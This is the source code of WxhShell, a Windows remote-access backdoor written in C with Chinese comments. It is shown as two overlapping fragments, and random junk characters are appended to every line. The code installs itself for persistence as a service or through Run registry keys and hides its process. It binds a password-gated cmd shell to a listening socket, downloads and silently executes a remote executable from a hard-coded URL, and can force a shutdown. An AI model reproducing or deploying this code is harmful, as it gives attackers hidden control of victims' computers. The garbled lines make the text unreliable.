    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $`-SVC  
    if(Boot(SHUTDOWN)) 1jR=h7^=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m9\@kA  
    else { z36brv<_'p  
    closesocket(wsh); PmuEL@'^ U  
    ExitThread(0); N` @W%  
    } Yg\{S<wr  
    break; 5 ]A$P\7~1  
    } P]~N-xdV  
  // 获取shell  m^W*[ ^p  
  case 's': { FY_avW  
    CmdShell(wsh); [flu |v  
    closesocket(wsh); ^T uP=q5?  
    ExitThread(0); G~b`O20N  
    break; bW,BhUb,|  
  } E#IiyZ  
  // 退出 N>W;0u!  
  case 'x': { \;A50U|r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); # CP9^R S  
    CloseIt(wsh); 7UeE(=Hr5  
    break; ,n /SDEL  
    } 1Xk{(G<\  
  // 离开 c+)36/; X  
  case 'q': { kMfc"JXF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =%:n0S0C"  
    closesocket(wsh); 'qD'PLV  
    WSACleanup(); wR 5\^[GN  
    exit(1); .b!OZ  
    break; j\i;'t}8g  
        } (1saof *p%  
  } !;xf>API  
  } wsdB; 6%$  
[RGC!}"mr  
  // 提示信息 -+j9X;h:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KNO*)\   
} op.PS{_t  
  } 3[00-~&U  
MX4 :e>dtd  
  return; k'WS"<-  
} 6Y92&  
|ec(z  
// shell模块句柄 qY*%p  
int CmdShell(SOCKET sock) T_5*iwI  
{ ~#IWM+I  
STARTUPINFO si; '/gxjr&  
ZeroMemory(&si,sizeof(si)); #'G7mAoA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2yi*eR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B J:E,P`_  
PROCESS_INFORMATION ProcessInfo; dd?x5|/#  
char cmdline[]="cmd"; ArEH%e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )sY$\^'WY  
  return 0;  9^b7jw  
} )n[`Z#  
!DY2{Wb  
// 自身启动模式  gnKU\>2k  
int StartFromService(void) rS,* s'G  
{ (F4dFh  
typedef struct [7SI<xkv  
{ ?-(w][MT\  
  DWORD ExitStatus; $h|I7`  
  DWORD PebBaseAddress; 9:}RlL+cOk  
  DWORD AffinityMask; F| ,Vw{  
  DWORD BasePriority; ;ZE<6;#3IP  
  ULONG UniqueProcessId; ^G7n#  
  ULONG InheritedFromUniqueProcessId; ]`CKQ> o  
}   PROCESS_BASIC_INFORMATION; b6?Xo/lJ.  
eJVOVPg<,  
PROCNTQSIP NtQueryInformationProcess; `0n 7Cyed  
]6i_d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Wj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^)%wq@Hi  
a-UD_|!  
  HANDLE             hProcess; (Ay4B*|!  
  PROCESS_BASIC_INFORMATION pbi; g O\f:Pg  
|aOnV,}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =5s~$C  
  if(NULL == hInst ) return 0; LNyL>VHkK  
~NxoF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h!t2H6eyF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p[k9C$@e}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +"N<-  
~YT>:Np  
  if (!NtQueryInformationProcess) return 0; (`uC"MLk  
o<Rxt *B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n_!]B_Vd$  
  if(!hProcess) return 0; ([4{n  
fDm}J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RL]lt0O{  
*fuGVA  
  CloseHandle(hProcess); zM9).D H  
644hQW&W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AIRVvW~($  
if(hProcess==NULL) return 0; zvQ^f@lq2  
Sj]T{3mi  
HMODULE hMod; MIua\:xT  
char procName[255]; m?kIa!GM=  
unsigned long cbNeeded; 7Hr4yh[j&  
J z:W-o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NGb! 7Mu9  
S#%JSQo:  
  CloseHandle(hProcess); pFv[z':&Q  
>/OXC+=^4  
if(strstr(procName,"services")) return 1; // 以服务启动 _ /2 8Cw  
K&"Pm9  
  return 0; // 注册表启动 );/5#b@<Y  
} v,x%^gv0  
~M9 n<kmE  
// 主模块 \SHD  
int StartWxhshell(LPSTR lpCmdLine) KSpC%_LC  
{ :0TSOT9.  
  SOCKET wsl; x x`8>2T#e  
BOOL val=TRUE; J!^~KN6[  
  int port=0; OD@@O9  
  struct sockaddr_in door; {/|8g(  
nD?M;XN  
  if(wscfg.ws_autoins) Install(); $0`$)(Y  
k~s>8N:&G  
port=atoi(lpCmdLine); <K.C?M(9  
$xn%i\  
if(port<=0) port=wscfg.ws_port; (=&bo p  
J/P@m_Yx  
  WSADATA data; +EB,7<5<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0.+Z;j  
g9r5t';  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W0?Y%Da(4m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J'Mgj$T $  
  door.sin_family = AF_INET; 5)zh@aJ@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .]P;fCQmM  
  door.sin_port = htons(port); &fNE9peQFa  
lt(-,md  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kk\zZC <  
closesocket(wsl); Bc"}nSjH  
return 1; <T2~xn  
} R7;rBEt8  
,;ruH^  
  if(listen(wsl,2) == INVALID_SOCKET) { BO\`m%8md  
closesocket(wsl); OaCj3d>  
return 1; OXCml(>{  
} ^[?+=1 k  
  Wxhshell(wsl); D(ntVR  
  WSACleanup(); Bw/H'Y  
/dvnQW4}8  
return 0; &+r ;>  
`GN5QLg#}0  
} ws(}K+y_  
+nyN+X34B  
// 以NT服务方式启动 y8WXp_\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `::(jW.KO  
{ UeiJhH,u   
DWORD   status = 0; wbF1>{/"  
  DWORD   specificError = 0xfffffff; DBh/V#* D  
&T/9y W[L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -0J<R;cVs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hw.demD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hs#s $})}Z  
  serviceStatus.dwWin32ExitCode     = 0; 0~L 8yMM  
  serviceStatus.dwServiceSpecificExitCode = 0; iO=uXN1g  
  serviceStatus.dwCheckPoint       = 0; Ue\oIi  
  serviceStatus.dwWaitHint       = 0; Q\>SF  
cW|Zgz8vv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #Uk6Fmu ]  
  if (hServiceStatusHandle==0) return; .+~kJ0~Y  
snzH}$Ls  
status = GetLastError(); WMz|FFKVY  
  if (status!=NO_ERROR) 1B]wSvP@  
{ d.(]V2X.J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =d4',[O  
    serviceStatus.dwCheckPoint       = 0; }6{)Jv  
    serviceStatus.dwWaitHint       = 0; q>lkLHS  
    serviceStatus.dwWin32ExitCode     = status; C]cT*B^  
    serviceStatus.dwServiceSpecificExitCode = specificError; !";$Zu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 27i<6PAC[A  
    return; NTX+7<  
  } [-94=|S @  
iW%0pLn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RuEnr7gi  
  serviceStatus.dwCheckPoint       = 0; |q b92|?  
  serviceStatus.dwWaitHint       = 0; ?|rw=%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Gg,k  
} T`0gtSS  
{.8)gVBmA  
// 处理NT服务事件,比如:启动、停止 -OGy-"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #UnO~IE.m$  
{ 91Sb= 9  
switch(fdwControl) <u% e*  
{ [B;Ek \5W  
case SERVICE_CONTROL_STOP: M#<fh:>  
  serviceStatus.dwWin32ExitCode = 0; ZaV66Y>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !_z>w6uR  
  serviceStatus.dwCheckPoint   = 0; FJH8O7  
  serviceStatus.dwWaitHint     = 0; c] 9CN  
  { k yA(m;r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y/*Tvb #TJ  
  } =@/^1.`  
  return; [*E.G~IS`  
case SERVICE_CONTROL_PAUSE: wbKBwI5w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !x / Z"  
  break; Pb&+(j  
case SERVICE_CONTROL_CONTINUE: Jy NY *  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &IY_z0=  
  break; ' "p*FN  
case SERVICE_CONTROL_INTERROGATE: _@?Jx/`;bk  
  break; 03\8e?$  
}; 5Kxk9{\8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KvOI)"0(  
} f;dU72]q+  
H LGy"P  
// 标准应用程序主函数 P[K T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /3%xQK>%  
{ ~4gKA D  
zC;lfy{f=  
// 获取操作系统版本 e[o ;l  
OsIsNt=GetOsVer(); ,+evP=(cX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I`>%2mP[C  
D??/=`|8  
  // 从命令行安装 dp W%LXM_  
  if(strpbrk(lpCmdLine,"iI")) Install(); UC$+&&rO  
q)y8Bv|  
  // 下载执行文件 mV]g5>Q\  
if(wscfg.ws_downexe) { n 9M6wS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VQ}3r)ch  
  WinExec(wscfg.ws_filenam,SW_HIDE); l:}4 6%  
} -%$ dFq  
OvG|=  
if(!OsIsNt) { UwT$IKR  
// 如果时win9x,隐藏进程并且设置为注册表启动 [`dipLkr  
HideProc(); YhR"_  
StartWxhshell(lpCmdLine); ,QAp5I%3=  
} Y}z?I%zL  
else Oj\mkg  
  if(StartFromService()) OEi9 )I  
  // 以服务方式启动 Qj[O$L0 $  
  StartServiceCtrlDispatcher(DispatchTable); 4'| :SyOm  
else J, >PLQAa  
  // 普通方式启动 }f*S 9V  
  StartWxhshell(lpCmdLine); XmR5dLc8  
^Pp FI  
return 0; BVeNK=7m%  
} k;X1x65uP  
zwK;6&(W  
K7Tell\`  
JPKZU<:+V  
=========================================== M&-/ &>n!  
"A3xX&9-q  
l_EI7mJ  
A2S9h,t  
S*:w\nXP~  
>ON.ftZ i  
" &$im^0`r_  
:N:8O^D^<  
#include <stdio.h> )S?}huX  
#include <string.h> H.K`#W&  
#include <windows.h> )uWNN"  
#include <winsock2.h> 3f8Z ?[Bb@  
#include <winsvc.h> d69VgLg  
#include <urlmon.h> L@GD$F=<0  
^2@~AD`&h  
#pragma comment (lib, "Ws2_32.lib") (Ad! hyE(  
#pragma comment (lib, "urlmon.lib") o|C{ s   
;wB  3H  
#define MAX_USER   100 // 最大客户端连接数 T0jJp7O  
#define BUF_SOCK   200 // sock buffer ~cwwB{  
#define KEY_BUFF   255 // 输入 buffer G"w Q(6J@  
O,#[m:Ejb  
#define REBOOT     0   // 重启 \(L^ /]}G)  
#define SHUTDOWN   1   // 关机 yK3z3"1M?  
EV$n>.  
#define DEF_PORT   5000 // 监听端口 "KwKO8f  
NE"fyX`  
#define REG_LEN     16   // 注册表键长度 A>yIH)b  
#define SVC_LEN     80   // NT服务名长度 T667&@  
h (2k;M^s  
// 从dll定义API gp2)35  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {*Pp^ r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ![%,pip2/&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b"9,DQB=i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }FVX5/.'  
g7i6Yj1  
// wxhshell配置信息 l0)uu4|  
struct WSCFG { (7,Awf5D~  
  int ws_port;         // 监听端口 wYG0*!Vj  
  char ws_passstr[REG_LEN]; // 口令 \>k+Oyj  
  int ws_autoins;       // 安装标记, 1=yes 0=no p7er04/}\  
  char ws_regname[REG_LEN]; // 注册表键名 BZ9iy~  
  char ws_svcname[REG_LEN]; // 服务名 "dTXT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~yN,FpD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {c; 3$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dW68lVWq_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]+P &Y:   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W9"I++~f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *6tN o-)^  
C"<@EMU9  
}; t`B']Ac;T  
?f&I"\y  
// default Wxhshell configuration :~Y$\Ww(~  
struct WSCFG wscfg={DEF_PORT, R3A^VE;qP  
    "xuhuanlingzhe", XT"c7]X  
    1, Gy%e%'  
    "Wxhshell", 67?5Cv  
    "Wxhshell", G]CY3xw98  
            "WxhShell Service", H;1}Nvvd  
    "Wrsky Windows CmdShell Service", ;\N*iN#K  
    "Please Input Your Password: ", HxaUVg0  
  1, z^.0eP8\j  
  "http://www.wrsky.com/wxhshell.exe", y rk#)@/m  
  "Wxhshell.exe" flqTx)xE  
    }; 5@ug1F&   
wn&2-m*a  
// 消息定义模块 mZyTo/\0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }__+[-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A$cbH.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h;->i]  
char *msg_ws_ext="\n\rExit."; -yeT$P&|  
char *msg_ws_end="\n\rQuit."; ZI7<E  
char *msg_ws_boot="\n\rReboot..."; !=:c8V  
char *msg_ws_poff="\n\rShutdown...";  ~A/_\-  
char *msg_ws_down="\n\rSave to "; LNkyV*TI  
nmr>Aj8[  
char *msg_ws_err="\n\rErr!"; /&yT2p  
char *msg_ws_ok="\n\rOK!"; 'S" F=)*-  
intf%T5#  
char ExeFile[MAX_PATH]; P>|2~YxjU  
int nUser = 0; hh9{md\  
HANDLE handles[MAX_USER]; #eYVZ=E  
int OsIsNt; c+=&5=i[3  
WmA578|l!  
SERVICE_STATUS       serviceStatus; <X?F :?Mk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }JD(e}8$!  
Npqbxb  
// 函数声明 %:*HzYf  
int Install(void); 32yNEP{  
int Uninstall(void); eORt qX8*  
int DownloadFile(char *sURL, SOCKET wsh); _q 8m$4  
int Boot(int flag); @^O ww(I  
void HideProc(void); -bwl~3ZTi  
int GetOsVer(void); OjZ@_V:  
int Wxhshell(SOCKET wsl); <T).+ M/  
void TalkWithClient(void *cs); .FUE F)  
int CmdShell(SOCKET sock); ;/@R{G{+~;  
int StartFromService(void); 2olim1  
int StartWxhshell(LPSTR lpCmdLine); 9[`6f8S_$  
:9}*p@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DN+`Q{KS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ju<D7  
AN@Vos Cu  
// 数据结构和表定义 \"SI-`x  
SERVICE_TABLE_ENTRY DispatchTable[] = w8qI7/  
{ ,v"A}g0"  
{wscfg.ws_svcname, NTServiceMain}, :Lx]`dSk  
{NULL, NULL} v,;?+Ck  
}; H< j+-u4b  
> L%%B-  
// 自我安装 /?sV\shy  
int Install(void) (I$hw"%&  
{ )l=j,4nn  
  char svExeFile[MAX_PATH]; zy|hf<V  
  HKEY key; 5M*p1^ >  
  strcpy(svExeFile,ExeFile); b|NEU-oy  
Wh,kJis<  
// 如果是win9x系统,修改注册表设为自启动 Nx99dr  
if(!OsIsNt) { %^S1 fUwT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xy._&&pt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2,+H;Ypi!  
  RegCloseKey(key); <t8})  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d^7<l_u~ !  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fq8Z:;C8  
  RegCloseKey(key); [K5afnq`  
  return 0; 9:1ZL_yf  
    } 344- ~i*  
  } w"~T5%p  
} x-[l`k.V  
else { ?g 3sv5\u  
/O9z-!Jz  
// 如果是NT以上系统,安装为系统服务 /#tOi[0[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); di|l?l^l  
if (schSCManager!=0) E:2Or~  
{ F J)la9  
  SC_HANDLE schService = CreateService $3So`8Bm[$  
  ( 139_\=5|U/  
  schSCManager, , vWcWT  
  wscfg.ws_svcname, =vR>KE  
  wscfg.ws_svcdisp, dwRJ0D]&  
  SERVICE_ALL_ACCESS, B9]KC i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y&UsSS  
  SERVICE_AUTO_START, +S$x}b'5q  
  SERVICE_ERROR_NORMAL, 8"+Kz  
  svExeFile, !(/dbHB  
  NULL, *cf#:5Nl  
  NULL, RJ`F2b sYN  
  NULL, u BvN*LQ  
  NULL, 4oJ0,u  
  NULL 7a2 uNt,X  
  ); 8q_nOGd  
  if (schService!=0) Up~#]X  
  { OF}vY0oiw?  
  CloseServiceHandle(schService); cY5h6+_  
  CloseServiceHandle(schSCManager); Ay[6rUO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n;[d{bU  
  strcat(svExeFile,wscfg.ws_svcname); o<Q~pd#Ip,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O9bIo]B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); " 5=Gu1  
  RegCloseKey(key); )KG.:BO<  
  return 0; +d<o2n4!  
    } 3:s!0ty"  
  } Y-v6xUc{F  
  CloseServiceHandle(schSCManager); !Eu}ro.}  
} ^I7iEv  
} D/v?nW  
EW]rD  
return 1; F8nR.|  
} "_W[X  
|Y4c+6@_  
// 自我卸载 eot%T h?[  
int Uninstall(void) f]Xh7m(Gh  
{ tw,uV)xm  
  HKEY key; 0tK(:9S  
!#3v<_]#d  
if(!OsIsNt) {  Vmt$]/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +87|gC7B  
  RegDeleteValue(key,wscfg.ws_regname); I|(r1.[K  
  RegCloseKey(key); \(C6|-:GY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UyENzK<%u  
  RegDeleteValue(key,wscfg.ws_regname); ~ 6DaM!  
  RegCloseKey(key); ~7ZWtg;B  
  return 0; vhvFBx0  
  } }Y:V&4DW  
} %g:6QS|  
} shKTj5s?  
else { $Y,y~4I  
h/k00hD60  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GCZx-zD~>  
if (schSCManager!=0) 9eBD)tnw  
{ >P@g].Q-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a5cary Z"z  
  if (schService!=0) |0OY> 5  
  { |h%=a8  
  if(DeleteService(schService)!=0) { H\RejGR  
  CloseServiceHandle(schService); Ym%XCl  
  CloseServiceHandle(schSCManager); o, PpD,,  
  return 0; ?.Q$@Ih0  
  } {>g{+Eq  
  CloseServiceHandle(schService); /*P) C'_M  
  } $O3.ex V  
  CloseServiceHandle(schSCManager); =U'!<w<-  
} 9k /L m  
} V_zU?}lZ^  
j<'ftK k  
return 1; ,R. rxoO  
} C~Hhi-Xl)  
iYD5~pK8  
// 从指定url下载文件 ;6:9EEd  
int DownloadFile(char *sURL, SOCKET wsh) =WT&unw}  
{ _iu~vU)r  
  HRESULT hr; CFC15/yU  
char seps[]= "/"; AXF 1{  
char *token; E5!vw@,  
char *file; 60;_^v  
char myURL[MAX_PATH]; }{y)a<`  
char myFILE[MAX_PATH]; EQN)y27poW  
eAmI~oku  
strcpy(myURL,sURL); 9U8x&Z]P  
  token=strtok(myURL,seps); k@ <dru  
  while(token!=NULL) @^T~W^+  
  { f0vO(@I  
    file=token; <8(=Lv`)q  
  token=strtok(NULL,seps); 2xf #@`U  
  } )X?oBNsj  
EB| iW2'  
GetCurrentDirectory(MAX_PATH,myFILE); /{f"0]-RA  
strcat(myFILE, "\\"); E*O($tS  
strcat(myFILE, file); BBM[Fy37!}  
  send(wsh,myFILE,strlen(myFILE),0); u?" ="-^  
send(wsh,"...",3,0); ~P#mvQE)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d7Vp^^}(  
  if(hr==S_OK) f";pfu_FZ  
return 0; udu<Nis4  
else o3V\   
return 1; aX`uF<c9  
eT+i &  
} w]t'2p-'  
U|]cB  
// 系统电源模块 jB8Q% {%  
int Boot(int flag) a M9v  
{  q[ _qZ  
  HANDLE hToken; pd:7K'yaw  
  TOKEN_PRIVILEGES tkp; @QV0l]H0+  
=B9-}]DDO  
  if(OsIsNt) { 9Q=VRH:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YZ5,K6u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3("C'(W  
    tkp.PrivilegeCount = 1; n9xP8<w8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^#d\HI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U xBd14-R_  
if(flag==REBOOT) { <Cv(@A->  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l3sF/zkH  
  return 0; S s+F  
} :ZM9lBYh  
else { uX*2Rs$s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4~,Z 'k  
  return 0; d #1Y^3n  
} sSh{.XuB+3  
  } sqrLys_S  
  else { l::q F 0  
if(flag==REBOOT) { QQBh)5F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B:T s_9*  
  return 0; J-hJqR*;K  
} Jqj!k*=/  
else { H:@hCO[a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zbmC? 2$  
  return 0; Z+&V  >  
} +P^ ;7"H  
} @khFk.LBD  
x "{aO6M  
return 1; SI=$s>1  
} =0pt-FQ  
h+}BtKA  
// win9x进程隐藏模块 f`n4'dG  
void HideProc(void) Z^_qXerjP  
{ !?nbB2,  
hyH[`wiq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5p (zhfuG  
  if ( hKernel != NULL ) C`hdj/!A  
  { LH5Z@*0#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }T@=I&g;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &eHRn_st5b  
    FreeLibrary(hKernel); H)Btm  
  } 5MVa;m  
oZa'cZNs  
return; V`y^m@U!  
} wXKtQ#o}  
Co1d44Q  
// 获取操作系统版本 ; ~pgF_  
int GetOsVer(void) YNr"]SA@;  
{ $fmTa02q>  
  OSVERSIONINFO winfo; aUaeK(x:H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X`.##S KC  
  GetVersionEx(&winfo); $-}&RW9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  k,:W]KD  
  return 1; G-d7}Uz ?  
  else "'U^8NA2  
  return 0; >Zb!?ntN`t  
} F w 0m(7  
$aV62uNf  
// 客户端句柄模块 Zw]"p63eMa  
int Wxhshell(SOCKET wsl) .nPOjwEx&Y  
{ V&*IZt&  
  SOCKET wsh; 1Gsh%0r3  
  struct sockaddr_in client; |V a:*3u  
  DWORD myID; MgeC-XQM  
o701RG ~)  
  while(nUser<MAX_USER) |0n )U(  
{ K!6T8^JH  
  int nSize=sizeof(client); QP (0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S%iK);  
  if(wsh==INVALID_SOCKET) return 1; "^#O7.oVi+  
P~j#8cH7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UY3)6}g6  
if(handles[nUser]==0) g88k@<Y  
  closesocket(wsh); p*Z<DEh#  
else if*V-$[I  
  nUser++; GHsDZ(d3.  
  } p:~#(/GWf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZFtx&vr P  
C~&E7w  
  return 0; w){B$X  
} i]ZGq7YJ%  
3~`P8 9  
// 关闭 socket Y/sav;  
void CloseIt(SOCKET wsh) 'gY?=,dF>  
{ SY,ns*>1F  
closesocket(wsh); nt2b}u>*  
nUser--; I): c#  
ExitThread(0); ?/.])'&b  
} 2+&;jgBP  
x{pj`'J)  
// 客户端请求句柄 Ichg,d-M-K  
void TalkWithClient(void *cs) Zz0er|9]Q  
{  zK6w0  
q /JC\  
  SOCKET wsh=(SOCKET)cs; z4YDngf=4  
  char pwd[SVC_LEN]; 1UMEbb  
  char cmd[KEY_BUFF]; ~cm4e>o  
char chr[1]; $n<1D -0!r  
int i,j; -b!?9T?}  
RvR.t"8  
  while (nUser < MAX_USER) { #N][-i  
#6M |T+ =  
if(wscfg.ws_passstr) { 5Ew( 0K[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6 wN*d 5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T6/P54S  
  //ZeroMemory(pwd,KEY_BUFF); n/v.U,f&l@  
      i=0; cxR.:LD}  
  while(i<SVC_LEN) { .rBU"Rbo  
0Z2XVq~T$  
  // 设置超时 Qb {[xmc  
  fd_set FdRead; G8}owszT  
  struct timeval TimeOut; pLu5x<  
  FD_ZERO(&FdRead); aVR!~hvFs  
  FD_SET(wsh,&FdRead); ;MQl.?vj  
  TimeOut.tv_sec=8; N:B<5l '  
  TimeOut.tv_usec=0; t^&hG7L_m,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AJ\gDjj<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1tY+0R  
2sGKn a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eBa#Z1Z  
  pwd=chr[0]; |M?s[}ll  
  if(chr[0]==0xd || chr[0]==0xa) { Kb ]}p  
  pwd=0; k{r<S|PK0  
  break; LGc8w>qE  
  } 6"_pCkn;c<  
  i++; iY>P7Uvvz  
    } ?$`kT..j,u  
29=ob("  
  // 如果是非法用户,关闭 socket >K'dgJ245  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w7` pbcY,  
} N4 x5!00  
zHKP$k8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '`;=d<'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yMdu Zmkc  
*ELU">!}G  
while(1) { v#gXXO[P1  
a;bmlV04  
  ZeroMemory(cmd,KEY_BUFF); Ep(xlHTv  
sf$hsPC^  
      // 自动支持客户端 telnet标准   xq.kH|bH  
  j=0; ,|z@ Dy  
  while(j<KEY_BUFF) { R1 SFMI   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bLS10^g5  
  cmd[j]=chr[0]; eV%{XR?y  
  if(chr[0]==0xa || chr[0]==0xd) { z#Qe$`4&  
  cmd[j]=0; 4Y'Ne2M{  
  break; q~#>MB}".  
  } Lios1|5  
  j++; sCJ|U6Q-  
    } I~6(>Z{  
i+5Qs-dHA  
  // 下载文件 N?t*4Y  
  if(strstr(cmd,"http://")) { 2u-J+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QDj%m%Xd  
  if(DownloadFile(cmd,wsh)) UUDbOxD^w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MB:[: nX  
  else sMAj?]hI$  
